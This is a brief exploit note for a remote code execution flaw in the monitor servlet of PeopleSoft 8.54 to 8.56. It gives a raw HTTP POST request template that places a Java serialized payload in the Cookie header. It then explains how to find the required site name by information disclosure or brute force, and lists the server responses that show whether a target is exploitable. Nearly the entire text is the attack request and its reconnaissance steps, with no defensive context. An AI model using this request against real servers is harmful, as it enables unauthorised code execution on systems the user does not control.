The RCE vulnerability present in monitor service of PeopleSoft 8.54, 8.55, 8.56.
POST /monitor/%SITE_NAME% HTTP/1.1 Host: PeopleSoft:PORT User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Cookie:a=aa §JAVA_SERIAL§
%SITE_NAME% - is a PeopleSoft "name" to get it you can use some information disclosure or brute force. information for automation detection:
- If monitor component deployed and you don't know %SITE_NAME% then will get this type of error
<h2>Site name is not valid. Check your URL syntax and try again.</h2>
- If %SITE_NAME% is true then you will get this message
PeopleSoft Ping Test for Monitor Servlet Ping successful. Site %SITE_NAME% is valid.
- If monitor don't deployed then you will get this message
Error 404--Not Found From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1: 10.4.5 404 Not Found The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent. If the server does not wish to make this information available to the client, the status code 403 (Forbidden) can be used instead. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address.